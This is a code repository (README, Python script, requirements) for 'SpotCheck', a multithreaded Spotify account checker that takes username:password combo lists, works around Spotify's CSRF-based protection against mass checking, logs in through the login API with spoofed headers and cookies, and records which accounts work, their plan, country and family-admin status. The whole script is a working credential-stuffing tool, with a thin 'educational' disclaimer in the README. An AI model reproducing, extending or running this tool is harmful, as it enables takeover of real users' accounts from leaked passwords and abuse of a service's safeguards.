├── README.md ├── SpotCheck.py └── requeriments.txt /README.md: -------------------------------------------------------------------------------- 1 | # SpotCheck v0.4-Stable 2 | 3 | ![Main_Image](https://developer.spotify.com/assets/branding-guidelines/logo@2x.png) 4 | 5 | ## Whats is SpotCheck? 6 | SpotCheck is an account checker for the **Spotify** stream music service written in **Python 2.7**. SpotCheck manages to evade the **Spotify** *security system* that prevents the check of accounts massively. The **Spotify** *security system* is simply a **CSRF token**, a system implemented by many pages to avoid checking accounts on theirs platform but this *security system* is not very secure. Not enough for a company like **Spotify**. **SpotCheck is a challenge between friends and with the intention of educating so it should not be used to commit any type of crime that will be committed under the responsibility of the user of the program not the creator of the same**. 7 | 8 | ## How does its works? 9 | Obviously with some magic and a bit of Matrix shit. Nah just kidding. 10 | SpotCheck uses as a main base the module of `requests` to make requests to different parts of **Spotify**. The first thing you get is the CSRF token which is obtained at **accounts.spotify.com** for later use in the login API hosted at **accounts.spotify.com/api/login** with the username, password, etc ... Depending on the parameters of the API response the user and password will be correct or incorrect. If they are correct, a request will be created to **spotify.com/de/account/overview/** to get more information about the account. 11 | 12 | ## Installation 13 | 14 | Install python-pip and run this command from the SpotCheck directory 15 | ``` 16 | pip install -r requeriments.txt 17 | ``` 18 | 19 | ## Help Message 20 | ``` 21 | usage: SpotCheck.py [-h] [--output_type OUTPUT_TYPE] [--threads THREADS] 22 | [--nothreads] 23 | combo_list output_file_name 24 | 25 | positional arguments: 26 | combo_list The combo list is a list with users and passwords in a 27 | 'username:password' format. 28 | output_file_name Only the name of the file. The extension will be 29 | determined by the type of output selected. 30 | 31 | optional arguments: 32 | -h, --help show this help message and exit 33 | --output_type OUTPUT_TYPE 34 | The output type can be: txt, json, xml and html 35 | (Default: txt). 36 | --threads THREADS Number of workers that SpotCheck uses (A very high 37 | number can cause an error in the program due to the 38 | limitations of your computer) (Default: 4). 39 | --nothreads If this argument is specified, SpotCheck will not 40 | create any thread, otherwise the main SpotCheck 41 | process will perform the checks. 42 | ``` 43 | 44 | # Changelog 45 | ### 13/09/2018 v0.1-Beta 46 | ``` 47 | Creation of the project. 48 | ``` 49 | ### 14/09/2018 v0.2-Beta 50 | ``` 51 | Builded a new system for the CSRF acquisition. 52 | ``` 53 | ### 09/10/2018 v0.3-Stable 54 | ``` 55 | Incremented the speed (Threads calculate). 56 | Progress Bar added (Only-MultiThread). 57 | ``` 58 | ### 05/12/2018 v0.4-Beta 59 | ``` 60 | Changed the main language to English. 61 | Renewed the code of SpotCheck.py. 62 | Progress Bar added to the --nothread argument. 63 | Removed the threads calculate. 64 | Added account info system (Now you can get the type of the account, country and if is the admin of a Family Premium account too). 65 | Added different types of outputs (txt, json, xml, html). 66 | ``` 67 | ### 09/12/2018 v0.4-Stable 68 | ``` 69 | Fixed SSL error. 70 | Now if you kill the program with Ctrl+C the alredy checked accounts will going to be saved. 71 | If you check a large account list and you are running SpotCheck with Python 32 bits you can have memory errors caused by the Python memory limit. (Just run the .exe in releases). 72 | ``` 73 | -------------------------------------------------------------------------------- /SpotCheck.py: -------------------------------------------------------------------------------- 1 | # <-- Checker imports --> 2 | import requests 3 | from bs4 import BeautifulSoup 4 | # <-- End --> 5 | 6 | # <-- Colors imports --> 7 | from colorama import init, Fore 8 | # <-- End --> 9 | 10 | # <-- Utils imports --> 11 | from os.path import exists, isfile 12 | from os import _exit, system, name 13 | from multiprocessing.dummy import Pool, cpu_count 14 | from tqdm import tqdm 15 | import argparse 16 | import xml.etree.ElementTree as ET 17 | from json import dump 18 | # <-- End --> 19 | 20 | VERSION = "v0.4-Stable" 21 | 22 | init() 23 | 24 | class Output(object): 25 | def __init__(self, output_type, output_file): 26 | 27 | self.good_types = ["txt", "json", "xml", "html"] 28 | self.type = output_type.lower() 29 | self.file = output_file 30 | 31 | if not self.type in self.good_types: 32 | colors.error("Output type not avaible, exiting...") 33 | _exit(1) 34 | 35 | def Save_html(self, accounts): 36 | """ 37 | Output accounts (Working accounts and bad accounts) to a HTML file 38 | with information of the account. 39 | """ 40 | try: 41 | 42 | self.extension = ".html" 43 | 44 | colors.info("Saving as HTML in {}{}".format(self.file, self.extension)) 45 | 46 | SpotifyFree = [] 47 | SpotifyPremium = [] 48 | PremiumFamily = [] 49 | AdminPremiumFamily = [] 50 | BadAccounts = [] 51 | 52 | for account in accounts: 53 | if account.get("account_login") == "error": 54 | BadAccounts.append({"Username" : account["Username"], "Password" : account["Password"]}) 55 | else: 56 | if account.get("AccountType") == "Spotify Free": 57 | SpotifyFree.append({"Username" : account["Username"], "Password" : account["Password"], "Country" : account["Country"]}) 58 | elif account.get("AccountType") == "Spotify Premium": 59 | SpotifyPremium.append({"Username" : account["Username"], "Password" : account["Password"], "Country" : account["Country"]}) 60 | elif account.get("AccountType") == "Premium Family": 61 | if account.get("Admin"): 62 | AdminPremiumFamily.append({"Username" : account["Username"], "Password" : account["Password"], "Country" : account["Country"]}) 63 | else: 64 | PremiumFamily.append({"Username" : account["Username"], "Password" : account["Password"], "Country" : account["Country"]}) 65 | 66 | html = "\n\nSpotCheck HTML Result\n" 67 | html += "
\n" 68 | 69 | html += "

Spotify Free

" 70 | html += "\n\n\n\n\n\n" 71 | 72 | for account in SpotifyFree: 73 | html += "\n\n\n\n\n".format(account["Username"], account["Password"], account["Country"]) 74 | 75 | html += "
UsernamePasswordCountry
{}{}{}
\n
\n
" 76 | 77 | html += "

Spotify Premium

" 78 | html += "\n\n\n\n\n\n" 79 | 80 | for account in SpotifyPremium: 81 | html += "\n\n\n\n\n".format(account["Username"], account["Password"], account["Country"]) 82 | 83 | html += "
UsernamePasswordCountry
{}{}{}
\n
\n
" 84 | 85 | html += "

Premium Family

" 86 | html += "\n\n\n\n\n\n" 87 | 88 | for account in PremiumFamily: 89 | html += "\n\n\n\n\n".format(account["Username"], account["Password"], account["Country"]) 90 | 91 | html += "
UsernamePasswordCountry
{}{}{}
\n
\n
" 92 | 93 | html += "

Admin of Premium Family

" 94 | html += "\n\n\n\n\n\n" 95 | 96 | for account in AdminPremiumFamily: 97 | html += "\n\n\n\n\n".format(account["Username"], account["Password"], account["Country"]) 98 | 99 | html += "
UsernamePasswordCountry
{}{}{}
\n
\n
" 100 | 101 | html += "

Bad Accounts

" 102 | html += "\n\n\n\n\n" 103 | 104 | for account in BadAccounts: 105 | html += "\n\n\n\n".format(account["Username"], account["Password"]) 106 | 107 | html += "
UsernamePassword
{}{}
\n
\n
" 108 | 109 | html += "

Result generated by SpotCheck (www.github.com/MrSentex/SpotCheck)

\n" 110 | 111 | with open(self.file+self.extension, "w") as output_: 112 | output_.write(html) 113 | output_.close() 114 | 115 | colors.correct("Done! All saved successfully") 116 | 117 | except Exception as e: 118 | colors.error(str(e)) 119 | _exit(1) 120 | 121 | def Save_xml(self, accounts): 122 | """ 123 | Output accounts (Working accounts and bad accounts) to a XML file 124 | with information of the account. 125 | """ 126 | try: 127 | 128 | self.extension = ".xml" 129 | 130 | colors.info("Saving as XML in {}{}".format(self.file, self.extension)) 131 | 132 | Main = ET.Element("SpotCheck") 133 | 134 | SpotifyFree = ET.SubElement(Main, 'SpotifyFree') 135 | SpotifyPremium = ET.SubElement(Main, 'SpotifyPremium') 136 | PremiumFamily = ET.SubElement(Main, 'PremiumFamily') 137 | AdminPremiumFamily = ET.SubElement(Main, 'AdminPremiumFamily') 138 | BadAccounts = ET.SubElement(Main, 'BadAccounts') 139 | 140 | for account in accounts: 141 | if account.get("account_login") == "error": 142 | temp = ET.SubElement(BadAccounts, "account") 143 | temp.set("Username", account["Username"]) 144 | temp.set("Password", account["Password"]) 145 | else: 146 | if account.get("AccountType") == "Spotify Free": 147 | temp = ET.SubElement(SpotifyFree, "account") 148 | temp.set("Username", account["Username"]) 149 | temp.set("Password", account["Password"]) 150 | temp.set("Country", account["Country"]) 151 | elif account.get("AccountType") == "Spotify Premium": 152 | temp = ET.SubElement(SpotifyPremium, "account") 153 | temp.set("Username", account["Username"]) 154 | temp.set("Password", account["Password"]) 155 | temp.set("Country", account["Country"]) 156 | elif account.get("AccountType") == "Premium Family": 157 | if account.get("Admin"): 158 | temp = ET.SubElement(AdminPremiumFamily, "account") 159 | temp.set("Username", account["Username"]) 160 | temp.set("Password", account["Password"]) 161 | temp.set("Country", account["Country"]) 162 | else: 163 | temp = ET.SubElement(PremiumFamily, "account") 164 | temp.set("Username", account["Username"]) 165 | temp.set("Password", account["Password"]) 166 | temp.set("Country", account["Country"]) 167 | XML = ET.tostring(Main) 168 | with open(self.file+self.extension, "w") as output_: 169 | output_.write(XML) 170 | colors.correct("Done! All saved successfully") 171 | except Exception as e: 172 | colors.error(str(e)) 173 | _exit(1) 174 | 175 | def Save_json(self, accounts): 176 | """ 177 | Ouput accounts (Working accounts and bad accounts) to a JSON file with 178 | information of the account. 179 | """ 180 | try: 181 | self.extension = ".json" 182 | 183 | colors.info("Saving as JSON in {}{}".format(self.file, self.extension)) 184 | 185 | json = {} 186 | json["Spotify Free"] = [] 187 | json["Spotify Premium"] = [] 188 | json["Premium Family"] = [] 189 | json["Admin of Premium Family"] = [] 190 | json["Bad Accounts"] = [] 191 | 192 | for account in accounts: 193 | if account.get("account_login") == "error": 194 | json["Bad Accounts"].append({"Username" : account["Username"], "Password" : account["Password"]}) 195 | else: 196 | if account.get("AccountType") == "Spotify Free": 197 | json["Spotify Free"].append({"Username" : account["Username"], "Password" : account["Password"], "Country" : account["Country"]}) 198 | elif account.get("AccountType") == "Spotify Premium": 199 | json["Spotify Premium"].append({"Username" : account["Username"], "Password" : account["Password"], "Country" : account["Country"]}) 200 | elif account.get("AccountType") == "Premium Family": 201 | if account["Admin"]: 202 | json["Admin of Premium Family"].append({"Username" : account["Username"], "Password" : account["Password"], "Country" : account["Country"]}) 203 | else: 204 | json["Premium Family"].append({"Username" : account["Username"], "Password" : account["Password"], "Country" : account["Country"]}) 205 | else: 206 | print(str(account)) 207 | with open(self.file+self.extension, "w") as output_: 208 | dump(json, output_) 209 | output_.close() 210 | colors.correct("Done! All saved successfully") 211 | except Exception as e: 212 | colors.error(str(e)) 213 | _exit(1) 214 | 215 | def Save_txt(self, accounts): 216 | """ 217 | Output only the working accounts to a TXT file with information 218 | of the account. 219 | """ 220 | 221 | self.extension = ".txt" 222 | 223 | self.sep = "<--------Account-------->\n" 224 | 225 | colors.info("Saving as TXT in {}{}".format(self.file, self.extension)) 226 | 227 | try: 228 | with open(self.file+self.extension, "a") as output_: 229 | for account in accounts: 230 | if account.get("account_login") == "success": 231 | if account.get("AccountType") != "Spotify Free": 232 | output_.write(self.sep) 233 | output_.write("Username: {}\n".format(account["Username"])) 234 | output_.write("Password: {}\n".format(account["Password"])) 235 | output_.write("As Combo: {}:{}\n".format(account["Username"], account["Password"])) 236 | output_.write("Account Type: {}\n".format(account["AccountType"])) 237 | output_.write("Country: {}\n".format(account["Country"])) 238 | output_.write("Admin: {}\n".format(account["Admin"])) 239 | output_.close() 240 | colors.correct("Done! All saved successfully") 241 | except Exception as e: 242 | colors.error(str(e)) 243 | _exit(1) 244 | 245 | def Save(self, accounts): 246 | 247 | if self.type == "txt": 248 | self.Save_txt(accounts) 249 | elif self.type == "json": 250 | self.Save_json(accounts) 251 | elif self.type == "xml": 252 | self.Save_xml(accounts) 253 | elif self.type == "html": 254 | self.Save_html(accounts) 255 | 256 | class Spotify(object): 257 | def getCSRFtoken(self): 258 | while True: 259 | csrf_request = requests.get('https://accounts.spotify.com') 260 | if csrf_request.status_code == 200: 261 | break 262 | return csrf_request.cookies.get("csrf_token") 263 | 264 | def getAccountInfo(self, Session, email, password): 265 | while True: 266 | response = Session.get('https://www.spotify.com/de/account/overview/') 267 | if response.status_code == 200: 268 | break 269 | data = response.text 270 | 271 | parser = BeautifulSoup(data, "lxml") 272 | 273 | account_type = parser.find("h3", attrs={"class" : "product-name"}).text 274 | country = parser.find("p", attrs={"class" : "form-control-static", "id" : "card-profile-country"}).text 275 | admin = None 276 | 277 | if account_type == "Premium Family": 278 | if len(parser.find_all("h3", attrs={"class" : "product-name"})) == 2: 279 | admin = True 280 | else: 281 | admin = False 282 | 283 | return {"account_login" : "success", "Username" : email, "Password" : password ,"AccountType" : account_type, "Country" : country, "Admin" : admin} 284 | 285 | 286 | def SpotifyCheck(self, email, password): 287 | 288 | api_request = requests.Session() 289 | 290 | csrf_token = self.getCSRFtoken() 291 | 292 | cookies = {"fb_continue" : "https%3A%2F%2Fwww.spotify.com%2Fid%2Faccount%2Foverview%2F", "sp_landing" : "play.spotify.com%2F", "sp_landingref" : "https%3A%2F%2Fwww.google.com%2F", "user_eligible" : "0", "spot" : "%7B%22t%22%3A1498061345%2C%22m%22%3A%22id%22%2C%22p%22%3Anull%7D", "sp_t" : "ac1439ee6195be76711e73dc0f79f89", "sp_new" : "1", "csrf_token" : csrf_token, "__bon" : "MHwwfC0zMjQyMjQ0ODl8LTEzNjE3NDI4NTM4fDF8MXwxfDE=", "remember" : "false@false.com", "_ga" : "GA1.2.153026989.1498061376", "_gid" : "GA1.2.740264023.1498061376"} 293 | headers = {"User-Agent" : "Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) FxiOS/1.0 Mobile/12F69 Safari/600.1.4", "Accept" : "application/json, text/plain", "Content-Type": "application/x-www-form-urlencoded"} 294 | payload = {"remember" : "false", "username" : email, "password" : password, "csrf_token" : csrf_token} 295 | 296 | response = api_request.post("https://accounts.spotify.com/api/login", data=payload, headers=headers, cookies=cookies) 297 | 298 | try: 299 | if response.json().get("error"): 300 | return {"account_login" : "error", "Username" : email, "Password" : password} 301 | except Exception: 302 | return {"account_login" : "error", "Username" : email, "Password" : password} 303 | 304 | return self.getAccountInfo(api_request, email, password) 305 | 306 | class colors: 307 | @staticmethod 308 | def info(msg): 309 | print("[" + Fore.BLUE + "#" + Fore.RESET + "] " + str(msg)) 310 | @staticmethod 311 | def correct(msg): 312 | print("[" + Fore.GREEN + "+" + Fore.RESET + "] " + str(msg)) 313 | @staticmethod 314 | def error(msg): 315 | print("[" + Fore.RED + "-" + Fore.RESET + "] " + str(msg)) 316 | @staticmethod 317 | def warning(msg): 318 | print("[" + Fore.YELLOW + "!" + Fore.RESET + "] " + str(msg)) 319 | 320 | class Main(object): 321 | def __init__(self, list, output, threads, output_type, nothread): 322 | 323 | if threads == None: 324 | threads = cpu_count() 325 | if output_type == None: 326 | output_type = "txt" 327 | 328 | self.list = list 329 | self.output = output 330 | self.threads = threads 331 | self.output_type = output_type 332 | self.nothread = nothread 333 | 334 | self.accounts_array = [] 335 | self.results_array = [] 336 | 337 | def print_header(self): 338 | print(r""" 339 | ________ ________ ________ _________ ________ ___ ___ _______ ________ ___ __ 340 | |\ ____\|\ __ \|\ __ \|\___ ___\\ ____\|\ \|\ \|\ ___ \ |\ ____\|\ \|\ \ 341 | \ \ \___|\ \ \|\ \ \ \|\ \|___ \ \_\ \ \___|\ \ \\\ \ \ __/|\ \ \___|\ \ \/ /|_ 342 | \ \_____ \ \ ____\ \ \\\ \ \ \ \ \ \ \ \ \ __ \ \ \_|/_\ \ \ \ \ ___ \ 343 | \|____|\ \ \ \___|\ \ \\\ \ \ \ \ \ \ \____\ \ \ \ \ \ \_|\ \ \ \____\ \ \\ \ \ 344 | ____\_\ \ \__\ \ \_______\ \ \__\ \ \_______\ \__\ \__\ \_______\ \_______\ \__\\ \__\ 345 | |\_________\|__| \|_______| \|__| \|_______|\|__|\|__|\|_______|\|_______|\|__| \|__| 346 | \|_________| 347 | 348 | By MrSentex | @fbi_sentex | www.github.com/MrSentex | www.gitlab.com/MrSentex | {} 349 | """.format(VERSION)) 350 | 351 | def clear(self): 352 | if name == "nt": 353 | system("cls") 354 | else: 355 | system("clear") 356 | 357 | def load_list(self): 358 | colors.info("Reading combo file...") 359 | if not exists(self.list): 360 | colors.error("The combo don't exist") 361 | _exit(1) 362 | if not isfile(self.list): 363 | colors.error("The combo isn't a file") 364 | _exit(1) 365 | with open(self.list, "r") as list_file: 366 | lines = list_file.readlines() 367 | colors.warning("Loading " + str(len(lines)) + " accounts") 368 | for line in lines: 369 | line = line.replace('\n', '') 370 | account = line.split(":") 371 | if not len(account) == 2: 372 | continue 373 | self.accounts_array.append({"email" : account[0], "password" : account[1]}) 374 | colors.correct(str(len(self.accounts_array)) + " accounts have been loaded succesfully\n") 375 | 376 | def SpotCheck(self, account): 377 | 378 | email = account["email"] 379 | password = account["password"] 380 | 381 | while True: 382 | try: 383 | self.results_array.append(Spotify().SpotifyCheck(email, password)) 384 | break 385 | except Exception: 386 | pass 387 | 388 | def start_check(self): 389 | 390 | self.clear() 391 | self.print_header() 392 | self.load_list() 393 | 394 | Output_Manager = Output(self.output_type, self.output) 395 | 396 | if not self.nothread: 397 | 398 | colors.info("Starting with " + str(self.threads) + " threads\n") 399 | 400 | pool = Pool(self.threads) 401 | 402 | try: 403 | for _ in tqdm(pool.imap_unordered(self.SpotCheck, self.accounts_array), total=len(self.accounts_array), desc="Processing accounts"): 404 | pass 405 | except KeyboardInterrupt: 406 | print("\n") 407 | colors.error("Ctrl + C detected, exiting...\n") 408 | Output_Manager.Save(self.results_array) 409 | _exit(0) 410 | 411 | else: 412 | 413 | colors.info("Starting in the main process\n") 414 | 415 | try: 416 | with tqdm(total=len(self.accounts_array), desc="Processing accounts") as pbar: 417 | for account in self.accounts_array: 418 | self.SpotCheck(account) 419 | pbar.update(1) 420 | except KeyboardInterrupt: 421 | print("\n") 422 | colors.error("Ctrl + C detected, exiting...\n") 423 | Output_Manager.Save(self.results_array) 424 | _exit(0) 425 | 426 | print("") 427 | colors.correct("Process finished!\n") 428 | 429 | Output_Manager.Save(self.results_array) 430 | 431 | 432 | parser = argparse.ArgumentParser() 433 | parser.add_argument("combo_list", help="The combo list is a list with users and passwords in a 'username:password' format.") 434 | parser.add_argument("output_file_name", help="Only the name of the file. The extension will be determined by the type of output selected.") 435 | parser.add_argument("--output_type", help="The output type can be: txt, json, xml and html (Default: txt).", action="store", type=str) 436 | parser.add_argument("--threads", help="Number of workers that SpotCheck uses (A very high number can cause an error in the program due to the limitations of your computer) (Default: {}).".format(cpu_count()), type=int, action="store") 437 | parser.add_argument("--nothreads", help="If this argument is specified, SpotCheck will not create any thread, otherwise the main SpotCheck process will perform the checks.", action="store_true", default=False) 438 | 439 | args = parser.parse_args() 440 | 441 | Main(args.combo_list, args.output_file_name, args.threads, args.output_type, args.nothreads).start_check() -------------------------------------------------------------------------------- /requeriments.txt: -------------------------------------------------------------------------------- 1 | colorama 2 | requests 3 | tqdm 4 | bs4 5 | 6 | --------------------------------------------------------------------------------